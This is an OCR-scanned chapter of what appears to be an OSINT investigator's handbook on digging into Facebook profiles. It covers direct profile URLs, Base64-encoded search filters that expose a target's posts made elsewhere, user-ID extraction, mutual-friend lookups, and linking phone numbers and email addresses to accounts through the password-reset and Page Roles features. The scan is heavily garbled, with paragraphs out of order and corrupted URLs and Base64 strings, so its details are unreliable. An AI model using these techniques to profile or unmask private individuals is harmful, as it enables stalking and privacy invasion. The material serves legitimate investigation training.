lives within social networks such as Facebook. Information that was once held privately within a small group of friends or family is now broadcasted to the world via public profiles. This chapter should identify new techniques which can be applied to any Facebook target. It will explain numerous ways to obtain user information which is public data, even if not visible within their official profile. June 6‘h, 2019: This was the big date which began the decline of the Facebook graph. Previous profile queries all failed, and everything seemed doomed. Our ability to view "hidden" content via URL modifications was gone and we all scrambled for new techniques. Social Networks: Facebook 169 Friends of Friends End of Results © Chicago, Illinois © Vashon High School © Foot Locker Figure 10.01: A Facebook keyword search with filters applied. https://www.facebook.com/zuck 170 Chapter 10 profiles. You could additional information Tom Jonhson Works at Foot Locker Vashon High School Lives in Chicago, Illinois This indicates his Facebook username is "zuck". We can apply this to the following URLs, each which connect directly to the associated public information page. These direct URLs will be beneficial to our Facebook tool presented at the end of the chapter. Figure 10.01 displays my keyword search for "Tom Johnson" who lives in Chicago, Illinois, attended Vashon High School, and currently works at Foot Locker. This located only one result, as this was a ven' targeted query. The filters helped me get from thousands of targets to only one. However, this is not as easy as it sounds. There are multiple Vashon high schools and dozens of Foot Locker Facebook pages. In a moment, we will force Facebook to focus on specific entities. Search Results for tom johnson People If your target's name is Tom Johnson, you have your work cut out for you. This does not mean that you will never find his Facebook page, but you will need to take additional steps to get to your target. When searching the name, several possibilities may appear in the results. This is obviously not the complete list of Tom Johnsons that are present on Facebook. At the bottom of this list is an option to "See All" the profiles with your target name. This is also not the complete list. Scrolling down should automatically populate more look through these and hope to identify your target based on the photo, location, or displayed in this view. Instead, consider adding filters within the left menu. Once a user's profile is located, the default view is the "timeline" tab. This will include basic information such as gender, location, family members, friends, relationship status, interests, education, and work background. This page will also commonly have a photo of the user and any recent posts on their page. Clicking through this data may uncover valuable evidence, but you may be missing other data. I will explain numerous methods throughout this chapter which should help identify all available content relevant to your investigation. First, consider using the traditional filter options available on most Facebook pages. Figure 10.02 displays the main filter bar on the top of ever}’ Facebook profile page. This will seek Photos, Videos, Places, Groups, and other options associated with the profile. You may be able to click through the various sections in order to reveal all publicly available content. My preference is to query via direct URL so that I know I did not miss anything. Assume that your target is Mark Zuckerberg. His profile is available at the following URL. Typing in a target's real name should lead to results, many of which are unrelated to your investigation. Unlike other social networks, Facebook users typically use their real name when creating a profile. This profile is usually linked to an employer, graduating high school class, college alumni, or general interests. With billions of active users, it will be likely that you will locate several user profiles under the same name as your target. There arc a few things that you can do to find the right person. Timeline: https://www.facebook.com/zuck About: https://www.facebook.com/zuck/about Employment: https://www.facebook.com/zuck/about?section=work Education: https://www.facebook.com/zuck/about?section=education Locations: https://www.facebook.com/zuck/about?section=living Contact Info: https://www.facebook.com/zuck/about?section=contact-info Basic Info: https://www.facebook.com/zuck/about?section=basic-info Relationships: https://www.facebook.com/zuck/about?section=relationship Family Members: https://www.facebook.com/zuck/about?section=family Bio: https://www.facebook.com/zuck/about?section=bio Life Events: https://www.facebook.com/zuck/about?section=year-overviews Friends: https://www.facebook.com/zuck/friends Profile Photos: https://www.facebook.com/zuck/photos Photo Albums: https://www.facebook.com/zuck/photos_albums Videos: https://www.facebook.com/zuck/videos Check-Ins: https://www.facebook.com/zuck/places_visited Recent Check-Ins: https://www.facebook.com/zuck/places_recent Sports: https://www.facebook.com/zuck/sports Music: https://www.facebook.com/zuck/music Movies: https://www.facebook.com/zuck/movies TV Shows: https://www.facebook.com/zuck/tv Books: https://www.facebook.com/zuck/books Apps & Games: https://www.facebook.com/zuck/games Likes: https://www.facebook.com/zuck/likes Events: https://www.facebook.com/zuck/events Facts: https://www.facebook.com/zuck/did_you_know Reviews: https://www.facebook.com/zuck/reviews Notes: https://www.facebook.com/zuck/notes Let’s conduct another keyword search within the official site. Assume you wanted to find any posts including the term "OS1NT". After conducting the basic search, you should scroll to the end of the limited results and click "See all public posts for OSINT". This expands the search and opens the Posts filter options. From there, you can filter by year or location. You could also click through the other categories such as Videos or Groups. All basic Facebook filters can be applied using direct URLs. Considering an interest in the term "OSINT", the following addresses replicate each of the filters of a standard Facebook search. This method was sloppy since I am forcing Facebook to include the keyword of "photos" within my search. It likely has no impact since we are seeking photos, but it could limit our search. If my target was posts, I would have begun my search with that term. /\t the time of this writing, there is no way to search Facebook's site by filters only. You must include a search term. In a moment, our tool will bypass this restriction with a new method. Photos can also be searched by generic location. Figure 10.04 demonstrates the "Photos" option after searching "Chicago". The filter on the left can filter results based on author, type, location, and date. The Facebook search tool presented in a moment will allow you to execute all of these URL queries easily in order to minimize the effort to explore a profile. Let's conduct another example of searching through Facebook's official channels. /Xssume you want to see photos posted by Mark Zuckerberg while he was in San Francisco in 2015. First, we need to obtain access to Facebook's filters, which are not visible when looking at a target's profile. My preferred way to do this is to conduct a search on Facebook for "photos" (without the quotes). This confuses Facebook a bit and tells it to present the "top" photos, but also presents the filter menu to the left. I can now click on "Photos" and enter the desired filters. Figure 10.03 displays my results. Social Networks: Facebook 171 a Add Friend Timeline About Friends S3 Photos More Videos Check-Ins Sports Figure 10.02: Facebook's main filter options. 8 © Mark Zuckerberg Photo Type © San Francisco, California © 2015 Figure 10.03: Facebook Photo filters in Posted By Photo Type Tagged Location Date Posted Figure 10.04: Photo results from Facebook filter optic 172 Chapter 10 facebook By Mark Zuckerberg I 700U 600M By Mark Zuckerberg Do you know Tom? To see what he shares with friends, send hin Search Results for photos Photos This presents the end of basic Facebook search techniques through the official site. Every thing presented until now should apply for a while, and these URL structures should not change soon. Analyzing all of the evidence identified through these URLs should present substantial information. Many of these pages, such as a person's timeline, will load continuously. Pressing the space bar on your keyboard should load everything until the end. e . - .. a — All: https://www.facebook.com/search/top/?q=osint Posts: https://www.faccbook.com/search/posts/?q=osint People: https://www.facebook.com/search/people/?q=osint Photos: https://www.facebook.com/search/photos/?q=osint Videos: https://www.faccbook.com/search/videos/?q=osint Marketplace: https://www.facebook.com/search/marketplace/?q=osint Pages: https://www.facebook.com/search/pages/?q=osint Places: https://www.faccbook.com/search/places/?q=osint Groups: https://www.facebook.com/search/groups/?q=osint Apps: https://www.facebook.com/search/apps/?q=osint Events: https://www.facebook.com/search/events/?q=osint Links: https://www.facebook.com/search/links/?q=osint Photos must dig deeper into profile data Profile Details "userID":"4" Facebook Base64 Encoding https:/ / facebook.com/search/4/photos-by https://facebook.com/search/photos/?q=photos&epa=FILTERS&filters= https://fb-search.com/find-my-facebook-id https://findidfb.com/ Prior to June of 2019, a simple URL would display content posted by an individual. As an example, the following URL would display all photos posted by a specific user (4). In order to conduct the following detailed searches, you must know the user number of your target. This number is a unique identifier that will allow us to search otherwise hidden information from Facebook. Prior to mid- 2015, the easiest way to identify the user number of any Facebook user was through the Graph API. While you were on a user's main profile, you could replace "www" in the address with "graph" and receive the profile ID number of that user. This no longer works because Facebook removed the ability to search their graph API by username. However, we can still obtain this powerful number through a manual search option. In this example, the user ID of this profile is 4. We will use this number for numerous searches within the next instruction. Some users prefer to look at the URLs of a target's photos in order to identify the user ID, but I believe this is bad practice. If a user has no photos, this will not work. Also, Facebook's photo displays often hide this information from plain sight. 1 prefer to rely on the source code view or my Facebook tools for this identification. This number will allow us to obtain many more details about the account. Until July of 2019, there were dozens of online search tools which would identify the user ID number (4) when supplied a username (zuck). Almost all of these stopped functioning, including my own, when Facebook began aggressively blocking these search tools. This technique involves viewing the source code of any user's Facebook profile. The process for this will vary by browser. In Firefox and Chrome, simply right-click on a Facebook profile page and select "View Page Source". Be sure not to hover on any hyperlinks during the right-click. A new tab should open with the text- only view of the source code of that individual profile. Within the browser, conduct a search on this page for "userID". This will identify a portion of the code within this page that contains that specific term. As an example the following is the source code visible in Zuck's profile. While you may' find an online option which still functions, we should not rely’ on these. If you are exhausted from searching within each profile's source code in order to locate the user ID, 1 reluctandy offer three sites which currently attempt to automatically replicate this process. This technique no longer works, and the replacement method is much more difficult. Instead of "facebook.com/search", our base URL is as follows. Note a search term (q=photos) is required. At this point, you should be able to locate a target's profile by name with filters; analyze the publicly available content; and search by topic. That is just the tip of the iceberg. Facebook collects a lot of additional information from everyone's activity on the social network. Every time someone "Likes" something or is tagged in a photo, Facebook stores that information. Extracting these details can be difficult. 1 have found taping down the space bar helpful for long pages. From here, we and apply some fairly technical methods in order to get to the next level. Social Networks: Facebook 173 This is followed by the structure of the following. {'’rp_author":"{\"name\":\"author\",\"args\":\"[USERlD]\"}"} However, it must be presented in Base64 format, which would be the following. eyJycF9hdXRob3IiOiJ7XCJuYWllXCI6XCJhdXRob3JcIixcImFyZ3NdjpcIjRcInOifQ Therefore, the entire URL would be the following. Previously, 1 presented the following 174 Chapter 10 The Facebook domain Instructs Facebook to conduct a search Specifies the type of information desired Searches any photos (videos and posts works here too) Finishes the URL with a filter demand https://www.facebook.com/search/photos/?q=photos&epa=FILTERS&filters=ey]ycF9hdXRob3IiOiJ7XCJ uYWllXC16XCJhdXRob3JcIixcImFyZ3NcljpcIjRcIn0ifQ https://facebook.com/search/photos/?q=photos&epa=FlLTERS&filters= Let's break this down. The following explains each section of this URL https://faccbook.com/ search/ photos/ ?q=photos &epa=FILTERS&filters= Confused? I sure was. It took me a while to process what was going on here. Let's start over, and approach the creation of a custom URL in three phases. First, let's tackle the Facebook search URL. In the previous example, I displayed the following. cyJycF9hdXRob3IiOiJ7XCJuY\VllXCI6XCJhdXRob3JclixdmFyZ3NcIjpcIjRcInOifQ== The final two "==" are optional, and not necessary. When I paste this value into the decoder on this website, I receive the exact data originally entered. Let's take a look at the screen captures. Figure 10.05 (top) displays the desired text data, including my target's user ID number. Figure 10.05 (bottom) displays the result coded in Base64. Figure 10.06 (top) displays the opposite technique by converting the previous Base64 result back to the original desired data in Figure 10.06 (bottom). 1 realize this is confusing, but our search tools will simplify all of this in a moment. Next, we must formulate our target data and convert it to a specific type of encoding called Base64. This is likely used because it is extremely common and can be generated by any browser. T ' r"” data. { ,rp_author":"{\"name\":\"author\",\”args\’':\"[USERID]\"}"} This tells Facebook that we are searching for information from a specific profile (author), and the [USERID] should contain your target s user ID number as determined earlier. If we were targeting "zuck", and knew his user number was "4", we would have the following data. {"rp_author":"{\"name\":\"author\",\"args\":\"4\"}"} Notice the position of "4" as the user number. Now, we must convert this data into Base64.1 prefer the website https.//codebeautify.org/base64-encode and we can check our work at the decoding version at https.//codebeautify.org/base64-decode. When I copy and paste the previous data into this website, I receive the following. 0 get uimpio Enter the text to Base64 Encode (■ rp_author:'(Vname\':Vauthor\*t\'args\':\'4V}*) The Baso64 Encoded: GyJycF9hdXRob3liOU7XCJuYW1IXCI6XCJhdXRob3JcllxclmFyZ3NcljpcljRclnOifQ== Figure 10.05: Encoding text to Base64 on https://codebcautify.org/basc64-encode. □ get sample Enter the text to Base64 Decode eyJycF9hdXRcb3liOiJ7XCJuYW1lXCI6XCJhdXRob3JclixclmFyZ3NcljpcljRclnOifQ The Basc64 Decode: {•ip_author*:*{\*name\'A’author\,.Vars?\,:V4V}*} Figure 10.06: Decoding text to Base64 on https://codebcautify.org/basc64-decodc. Let's take a look at the entire URL as follows. Below it is a breakdown. Figure 10.07: Image results from a Base64 search. public posts. https://’ u1 The Facebook domain Instructs Facebook to conduct a search Specifies die type of information desired Searches any photos (videos and posts works here too) Finishes the URL with a filter demand {"rp_author":" {\"name\":\"author\",\"args\":\"4\"}"} Let's start over with another example, this time focusing on Figure 10.07 displays the results of this URL. Facebook has provided images posted by our target, some of which do nor appear on his profile. Clicking "See All" opens even more images. 'www.facebook.com/search/photos/?q—photos&epa—FILTERS&filters—eyJycF9hdXRob31iOiJ7XCJ iYWllXCI6XCJhdXRob3JcIixcImFyZ3NcIjpcIjRcIn0ifQ https:/1 faccbook.com/ search/ photos/ ?q=photos &cpa=FlLTERS&filters= cyJycF9hdXRob3IiOiJ7X... Assume we want to identify posts created by "zuck". We know his user number is "4", so we want to combine "https://facebook.com/search/posts/Pq—posts&epa=FILTERS&fikers=" with the Base64 encoding of "{"rp_author" {\"name\":\"author\",\"args\":\"4\"}"}". This creates the following URL. Social Networks: Facebook 175 Mark Zuckerberg 0 Figure 10.08: Post results from a Base64 search. If your target was the Facebook username "zuck" with 176 Chapter 10 Photos by User: https://www.facebook.com/search/photos/?q=photos&epa=FILTERS&filters=eyJycF9hdXRob3IiOiJ7XC JuYW1IXCI6XCJhdXRob3JcIixcImFyZ3NcIjpcIjRcIn0ifQ Posts by User: https://www.facebook.com/search/posts/?q=posts&epa=FILTERS&filters=eyJycF9hdXRob3IiOiJ7XCJu YW11XCI6XCJ hdXRob3J cl ixcl mFyZ3Ncl jpd j Rd nOi fQ https://www.facebook.com/search/posts/?q=posts&epa=FILTERS&filters=eyJy’cF9hdXRob3IiOiJ7XCJuY WllXCI6XCJhdXRob3JcIixclmFyZ3NcljpcIjRcln0ifQ Posts by a specific user on any page (filtered by year) Photos by a specific user on any page (filtered by year) Videos by a specific user on any page (filtered by year) Posts submitted from a specific location (filtered by year) Photos submitted from a specific location (filtered by year) Videos submitted from a specific location (filtered by year) Posts matching a search term (filtered by year) Photos matching a search term (filtered by year) Videos matching a search term (filtered by year) Current and upcoming events by location (city or 6001}') Profiles associated with employees of a specific business Profiles associated with residents of a specific city Profiles associated with students of a specific school Common profiles which are friends with two targets Posts by keyword (filtered by date range) Photos by keyword (filtered by date range) Videos by keyword (filtered by date range) c ~, -------- — -i user number ’'4", the first three URLs would be as ows. i once t at die Base64 encoding is identical on each and diat I bolded the unique portions. A partial result can be seen in Figure 10.08. The results are public posts, but some may not be from his profile. In one investigation, I had a suspect with absolutely no posts within his timeline. However, this method identified hundreds of posts he made on other people's profiles. These included comments within posts and public messages to others. Oct 29 - 0 • I just shared our community update and business results for the quarter. We're building new products and experiences that help people stay connected and businesses create economic opportunity as we navigate these tough times. And with the US election just five days away, we remain focused on protecting the integrity of the democratic proce... 00* 39K 13K Comments Let's make this simpler. In a moment, I will present the most common URL queries which I have oun Y to my investigations. Then, 1 will present the portion of my custom Facebook tools which automates process. First, below is a summary of each search by section. Posts by User/Year Photos by User/Year: Videos by User/Year. Posts by Location/Year: Photos by Location/Year Videos by Location/Year: Posts by Keyword/Year. Photos by Keyword/Year: Videos by Keyword/Yean Events by’ Location: Profiles by Employer. Profiles by Location: Profiles by School: Common Friends: Posts by’ Date: Photos by’ Date: Videos by’ Date: We can now use additional filters to find events and profiles, as follows. Videos by User: https://www.facebook.com/search/videos/?q=videos&epa=FlLTERS&filters=eyJycF9hdXRob31iOiJ7XCJ uYWllXCI6XCJhdXRob3JcIixcImFyZ3NcljpcIjRcIn0ifQ Profiles (Tom) by Location (City of Chicago-108659242498155): https://www.facebook.com/search/people/?q=tom&epa=FILTERS&filters=eyJjaXR5IjoielwibmFtZVwiO lwidXNlcnNfbG9jYXRpb25dixcImFyZ3NcIjpcIjEwODYlOTI0MjQ5ODElNVwifSJ9 Photos by Location: https://www.facebook.com/search/photos/?q=photos&epa=FILTERS&filters=eyjycF9hdXRob3IiOiJ7XC JuYWllXCI6XCJsb2NhdGlvblwiLFwiYXJnclwiOlwiMTA4NjU5MjQyNDk4MTUlXCJ9In0 Posts by Keyword: https://www.facebook.com/search/posts/?q=OSINT&epa=FILTERS&filters=eyJycF9hdXRob3IiOiJ7XC JuYWllXCI6XCJhdXRob3JcIixcImFyZ3NcIjpcIjRcIn0ifQ°/o3D%3D Posts by Location: https:/ Avww.facebook.com/search/posts/?q=posts&epa=FILTERS&filters=eyjycF9sb2NhdGlvbil6IntcIm 5hb\WcljpcImxvY2F0aW9uXCIsXCJhcmdzXC16XCIxMDg2NTkyND10OTgxNTVcIn0ifQ Photos by Keyword: https://www.facebook.com/search/photos/?q=OSINT&epa=FILTERS&filters=eyjycF9hdXRob3IiOiJ7X CJuYWllXCI6XCJhdXRob3JcIixcImFyZ3NcIjpdjRcIn0ifQ%3D%3D Events (Protest) by Location (City of Chicago-108659242498155): https://www.facebook.com/search/events/?q=protest&epa=FILTERS&filters=eyJycF91dmVudHNfbG9jY XRpb24iOiJ7XCJuYWllXC16XCJmaWxOZXJfZXZlbnRzX2xvY2FOaW9uXCIsXCJhcmdzXCI6XCLxMDg2 NTkyND10OTgxNT\rcIn0ifQ%3D%3D Videos by Location: https://www.facebook.com/search/videos/?q=videos&epa=FILTERS&filters=eyjycF9hdXRob3IiOiJ7XCJ uYWHXCI6XCJsb2NhdGlvblwiLFwiYXJnclwiOlwiMTA4NjU5MjQyNDk4MTUlXCJ9In0 We can now drill down within our queries. The following URLs would identify any time our target (zuck - user number 4) mentions "OSINT" within a post, photo, and video. Notice how the bolded areas have changed from the previous queries. Profiles (Tom) by Employer (Harvard-105930651606): https://www.facebook.com/search/people/?q=tom&epa=FILTERS&filters=eyJlbXBsb311ciI6IntcIm5hbW VcIjpcInVzZXJzX2VtcGxveWVyXCIsXCJhcmdzXC16XClxMDU5MzA2NTE2MDZcIn0ifQ Profiles (Tom) by School (Harvard-105930651606): https://www.facebook.com/search/people/?q=tom&epa=FILTERS&filters=eyJzY2hvb2wiOi]7XCJuYWll XCl6XCJlc2Vycl9zY2hvb2xclixcImFyZ3NcljpcIjEwNTkzMDYlMTYwNlwifSJ9 Videos by Keyword: https://www.facebook.com/search/videos/?q=OSINT&epa=FILTERS&filters=eyJycF9hdXRob3IiOiJ7X CJuYWllXC16XCJhdXRob3JcIixcImFyZ3NcIjpcIjRcIn0ifQ%3D%3D If your target was the city of Chicago, user number "108659242498155", the desired URLs would be as follows if no year was chosen. Selecting a specific year only changes the Base64 encoding. Social Networks: Facebook 177 https://www.facebook.com/placcs/Things-to-do-in-Chicago-Illinois/108659242498155/ The last group of numbers (108659242498155) is the user ID number. "pagcID":" 105930651606" Pepsi's page (pepsiUS) included the following. "pageID":"56381779049" Event profile numbers can be found by searching "eventID". Group profile numbers can be found by searching "groupID". 178 Chapter 10 VvTiile I always prefer manual extraction from the source code of my target Facebook profile, the Facebook ID tools previously presented should also identify profile numbers of business, event, and group pages. Common Friends (123 and 456)(Note-This feature breaks often): https://www.facebook.com/browse/mutual_friends/?uidz:123&node=456 Videos (OSINT) by Date (August 1,2020): https://www.facebook.com/search/videos/?q=OSINT&epa=FILTERS&filters=eyJycF9jcmVhdGlvbl90a WlHjoielwibmFtZVwiOlwiY3JlYXRpb25fdGltZVwiLFwiYXJnclwiOlwielxcXCJzdGFydF95Z\VFyXFxcIjp c All of these queries will be easily created using our custom Facebook search tool in a moment, including filtration by dates for full profile analysis. As a reminder, I obtained the user ID number for the profile of "zuck" by searching the source code of the profile for "userID". However, location profiles do not possess this data. Fortunately, the user ID for cities is within the URL. When I searched for "City of Chicago" on Facebook, I clicked "Places" category and selected the official City of Chicago profile which possessed the following URL. It is extremely important to note that I did not discover this Base64 conversion technique. The online researcher NEMEC (https://twitter.com/djnemec) was the first to post about this method. Practically every online search tool generating these types of URLs, including mine, is due to the work of this person. I send many "thanks" on behalf of the entire OSINT community for this work. Photos (OSINT) by Date (August 1, 2020): https://www.facebook.comAearch/photos/?q=OSINT&epa=FILTERS&filters=eyJycF9jcrnVhdG]vbl90a WllljoielwibmFtZVwi01wiY3JlYXRpb25fdGltZVwiLFwiYXJnclwi01wielxcXCJzdGFydF95ZWFyXFxcIjp c Posts (OSINT) by Date (August 1,2020): https://www.facebook.com/search/posts/?q=OSINT&epa=FILTERS&filters—eyJycF9jcmVhdGlvbl90aW lUjoielwibmFtZVwiOlwiY3JlYXRpb25fdGltZVwiLFwiYXJnclwiOlwielxcXCJzdGFydF95ZWFyXFxcIjpc Business pages, such as those associated with Harvard, Pepsi, and others, do not present this data within the URL Instead, we must search within the source code for "pagelD" (including the quotes). When searching this within the source code for the Harvard page, I observed the following. IntelTechniqucs Facebook Tool Populate All FB Username IntelTcchniques Tools Timeline Search Engines FB Username About Employment FB Username Education FB Username Twitter Locations FB Username Contact Info Instagram FB Usemame Basic Info FB Username Linkedln Relationships FB Username Family FB Usemame Communities Biography FB Usemame Email Addresses FB Usemame FB Usemame Usernames Photos FB Usemame Photos Albums Names FB Usemame Videos FB Usemame Telephone Numbers Checkins FB Usemame Recent Checkins FB Usernamo Maps FB Username Documents FB Username Movies FB Username Pastes FB Username Books FB Username Images Apps & Games FB Usemame Likes Videos FB Username Events FB Usemame Domains Facts FB Username Reviews FB Usemame IP Addresses Notes FB Usemame Figure 10.09: The IntelTcchniques Facebook Tool. Sports Music Life Events Friends If you have not already skipped to the next chapter after all of this confusion, it is now time to simplify the process. Finally, let's use the custom Facebook search tool to replicate all of this work. This interactive document is included within the "Tools" you previously downloaded. Figures 10.09, and 10.10 display the current version of the tool. The following pages walk you through each section with real examples. The first input box in the "Facebook Profile Data" section allows you to enter a Facebook username, such as z.uck, and the tool will populate that data within all of the search options in that section. This makes it easy to begin your queries. You can then use the submit buttons to search each entry, such as Timeline or Photos. Note there is no "Submit All" option here. This is due to Facebook's scrutiny into accounts which automate any queries. Submitting too many requests simultaneously will result in a suspended account. The "Base64 Conversion Queries" section presents the true power behind this tool. /Ml of the technical search techniques presented within the previous pages are replicated here without the need to do any of the work. Instead of summarizing this section, let's run through a demonstration of each option. The next section tided "Facebook Search Data" allows you to replicate the instruction on keyword searches throughout all twelve sections of Facebook, such as Posts, Photos, and Pages. This presents immediate results without relying on Facebook to present your desired data from a generic keyword search. -* FB Usemame Facebook Search Data: All Search Terms Posts Search Terms People Search Terms Photos Search Terms Videos Search Terms Marketplace Search Terms rep fs:croc< uir-ra Srircn IC"P Pages Search Terms Soicn Tern Places Search Terms Groups Seaxh Terms Apps Search Terms r setback ut*' K> r= / dd / rm Events Search Terms Links Search Terms Figure 10.10: The IntclTechniqucs Facebook Tool. Posts/Photos/Vidcos by User Posts by User 4 Photos by User Facebook User ID Videos by User Facebook User ID Posts by Location 108659242498155 Photos by Location Facebook Location ID 2020 Videos by Location Facebook Location ID 2019 Posts/Photos/Videos by Keyword Posts by Keyword OSINT Photos by Keyword Facebook User ID Search Term Videos by Keyword Facebook User ID Search Term 180 Chapter 10 I ee-.'jOC" wcaK.i 13 Taeiibook t e-eaten O i aceseoK u»r D dZdd/ rm C.r> Uk' i? Sood uur io Foceto'A Us." ID I entered the user number 4 (zuck) and a search term of "OSINT” in Figure 10.12. I can now select a year and filter only those posts, photos, or videos. Li □ Kcywcm Fsectook u>c* 13 Ficttw* Use’10 Top 2021 Posts by Keyword Photos Dy Keyword Videos by Keyword Profiles by Employer Profiles by City Profiles by School Posts by Date Photos by Dote Videos by Date □ Posts/Photos/Videos by Location Figure 10.12: The IntclTechniqucs Facebook Tool year filters. S'J’clt tern Posts by User Photos by User Videos by User Posts by Location Photos by Location Videos by Location Top Top Basest Convention Queries: Top Top Tcp p Top Top Top 2020 2019 Figure 10.11: The IntclTechniqucs Facebook Tool options with date filtering. 1 entered the user number of "108659242498155" (Chicago) in the first portion, as seen in Figure 10.11 (bottom). This allows me to query’ posts, photos, and videos posted from that location to any public pages. The dropdown menu allows me to specify a year, if desired. This often identifies content unavailable through traditional search techniques. Base64 Conversion Queries: fesliz 2021 2020 2019 I entered the user ID number of "4" (for the user zuck) in the first portion, as seen in Figure 10.11 (top). This allows me to query’ posts, photos, and videos posted by that user to any public pages. The dropdown menu allows me to filter by year, if desired, which is helpful if the target posted a lot of content. This option is available for all three queries. This often identifies content unavailable within the target's own profile. Events by Location People by Employer, City, and School Figure 10.13: The IntelTechniques Facebook Tool options for profile search. 116. Mittelschule Dresden Wentworth Institute of Technology Figure 10.14: Facebook results from Common Friends of your targets to display a public friends list. Enter the Posts/Photos/Vidcos by Date Figure 10.15: The IntelTechniques Facebook Tool date filters. Social Networks: Facebook 181 09 I 01 / 2019 O ra / dd / yyyy e=> / dd / yyyy 09 I 30 I 2019 O ra / dd / yyyy na / dd / yyyy Tom Name 105930651606 City User ID 105930651606 1 entered the user number of "108659242498155" (Chicago) and added the keyword "protest". I was immediately presented dozens of active and future events matching my criteria. Profiles by Employer Profiles by City Profiles by School Posts by Date Photos by Date Videos by Date i quickly identify your name. Tom Tom Professor at Harvard University OSINT Keyword Keyword This query requires one of your targets to display a public friends list. Enter the user ID number of two subjects and identify any mutual friends they have in common. This is beneficial when trying to find associates of two suspects while avoiding family, friends, and colleagues of only one of them. an IntelTechniques Tool query. I entered die user number of "105930651606" (Harvard) in the first and third boxes, as seen in Figure 10.13. This allows me to query people’s profiles by their employer or school affiliation. These search options require at least one additional piece of information. In this example, I searched the name "Tom". Notice the difference in the results within Figure 10.14. The left result identifies people named Tom who WORK at Harvard, while the right displays people named Tom who ATTENDED Harvard. This search option can target when you only know a small amount of information, or if they are using a false last I suspect that these queries will change over time. I do not present the source code of these specific queries within the book because they are quite complicated and lengthy. If this tool should be updated, 1 will make an announcement at https://inteltcchniques.com/osintbook9. f a ' Tom Fraser (-vvFjyj Works at Harvard University w Tom Priince (Nike) U 838 followers • Pf legeassistent al pro civitate Harvard University Natalia Tom (K- ' Works at Dragon City Harvard University This option allows you to filter to a specific set of dates and conduct a keyword search. Figure 10.15 displays a query for any mention of the term "osint" during the month of September 2019. Clicking these fields presents an interactive calendar for easy selection. Manual vs. Tool Queries Facebook ID Creation Date created. For 182 Chapter 10 0:59 Dec 26, 2018 ■ 0 • So we are waiting to board and start our adventure to Rome! Sorry in advance for all the posts! Jun 6, 2019 • 0 ■ @lntelTechniques What a shame man, hate to hear that. Hope to have someway to access the same Check out this 360 video timelapse of Facebook's campus. I'm really enjoying these 360 videos. They... | Check out this 360 video timelapse of Facebook's campus. I'm ' ’ really enjoying these 360 videos. They feel like you're really... J Mark Zuckerberg © I Nov 17, 2015 ■ 2.5M Views likely created prior t December 2009. We be used as a Digital forensics enthusiast and private investigator Josh Huff at LearnAllTheThings.net has conducted a lot of research into the assignment of user ID numbers to Facebook profiles. We know that these numbers are assigned in chronological order, but the intelligence goes much further beyond that. His research could fill several pages and, in some situations, he can identify the month when a specific user account was die sake of space and most useful details, he has provided the following to me for publication. Videos by Date; The official Facebook site allows filtration of videos by date, but you can only choose from "Today", "This Week", or "This Month". The tool allows detailed filters by year or exact date. The example below is from 2015. I encourage you to experiment with both manual and automated search options. There is a small learning curve when querying Facebook, but die results are often fascinating. Facebook transitioned from 32-bit numbers, such as 554432, to 64-bit numbers that begin with 100000 between April and December of 2009. Therefore, if your target's number is less than 100000000000000, the account was r to April 2009. An account with a 15-digit ID number would have been created after can break down the numbers by year. The following are rough estimates that should only general guideline. Facebook appears to have begun issuing random numbers in 2018. Posts by Date: 1 can search for any term on Facebook, but I can only filter by year. With the tools, I can focus on any individual date. In the following example, I searched for anyone mentioning my site on the day that it was briefly shut down due to legal demands, I quickly found evidence. If you are paying close attention, you can see that diere are many similarities between conducting a search directly within the official Facebook website and the options within my custom search tools. On the surface, these tools may seem redundant and unnecessary. However, I assure you that there are some key advantages to the Facebook tool. I present three quick examples where you can find content through the tool which is not available on the site. Posts by Location: I can query the official LAX page at facebook.com/LAIntemationalAirporr, but I cannot query for posts from other people at that location. However, the search tool allows me to focus on posts from any location which can be filtered by year. The following example was presented after entering location ID "74286767824" and choosing "2018".’ ' Facebook Phone Number Search https://mbasic.facebook.com/login/identify/?ctx=recover Facebook Friends Extraction First, identify tine page of your target. For this example, I will https://www.facebook.com/darya.pino/friends 2006: Numbers less than 600400000 2007: 600400000 - 1000000000 2008: 1000000000 - 1140000000 2009:1140000000- 100000628000000 2010: 100000629000000- 100001610000000 2011: 100001611000000- 100003302000000 2012:100003303000000 - 100004977000000 2013:100004978000000 - 100007376000000 2014: 100007377000000- 100008760000000 2015:100008761000000 - 100010925000000 2016:100010926000000 - 100014946000000 2017: 100014947000000- 100023810000000 2018: 100023811000000- use the following public profile: I was recently presented a Facebook scenario without any obvious solution. Assume that you find the Facebo J profile of your target, and there is a large list of "Friends". You want to document this list, and a screenshot is not good enough. You want to capture the hyperlinks to each account and have a data set that can be manipulated or imported elsewhere. She has several friends, so I will hold down the space bar on my keyboard to load the entire page. 1 wall now highlight her entire friends list and use "Ctrl" + "C" (or right-click > copy) to copy the data. 1 find it best to click directly above the left side of the first friend and hold until the lower right area of the last friend. The friends list should highlight. Now, open Microsoft Excel. Click on the "B" in column B to highlight the entire column. Paste the content with either "Ctrl" + "V" (or right-click > paste). This will appear disorganized, but the data is there. The images will be on top of the user data, which will not work for a final report. Use F5 to launch the "Go To" menu and select "Special" in the lower left. Select "Objects" and click OK. This will select all of those images. Hit the delete key to remove them. You wall now see only the text data (with hyperlinks). Now click on the "A" in column A and paste the friend content again with either "Ctrl" + "V" (or right-click > paste). Right-click any cell in this column and choose "Clear Contents". This will remove any text, but keep the images. There are several outdated online tools that claim to "scrape" this data, but none of them work. In 2016, Facebook changed their Terms of Sendee (TOS) which now blocks any type of scraping of Friend data. Furthermore, the Facebook API no longer allows the display of this data either. There is a solution, and it wall involve minimal geek work. In previous editions, I have included various techniques to identify a Facebook profile associated with a target telephone number. At one time, entering a cell number into a Facebook search showed you the name, email address, and photo of the user. That luxury is gone, but we do currently have one method which may be helpful. The following URL requests Facebook to locate an account for a password reset. Entering a telephone number will confirm if an account is associated to it, and display a very redacted email address, such as ''n***@*******" Social Networks: Facebook 183 Email Search Assign a New Page Role ijstin.wr.ght?! Editor s 184 Chapter 10 jspenc to and dck-ic comments ht. post from Instagram !□ inectcd to the Page, they can comments, send O'..-. ;• r^ssagtsync business ccntsc: info ; nd Justin Wright | rescor.d tc and cc crests ads. fake user. on Facebook Figure 10.16: An email search through Facebook under the Page Role menu. Facebook investigations Facebook is the most 1 opportunities. When we strategies, something else will bet • While logged in to any covert Facebook profile, click "Create" and then "Page" in the upper-right corner. Click "Get Started" under the "Business or Brand" option. • Assign a random name to your profile, select any category, and click "Continue". • Skip all optional steps. • Once you sec rite new profile, click the "Settings" button in the upper-right. • On the new menu, click "Page Roles" in the left column. • In the Assign a New Page Role" section, enter the target email address. This should present any Facebook profiles associated with the address entered. Figure 10.16 displays a result. I entered an email address in this field and was presented the only 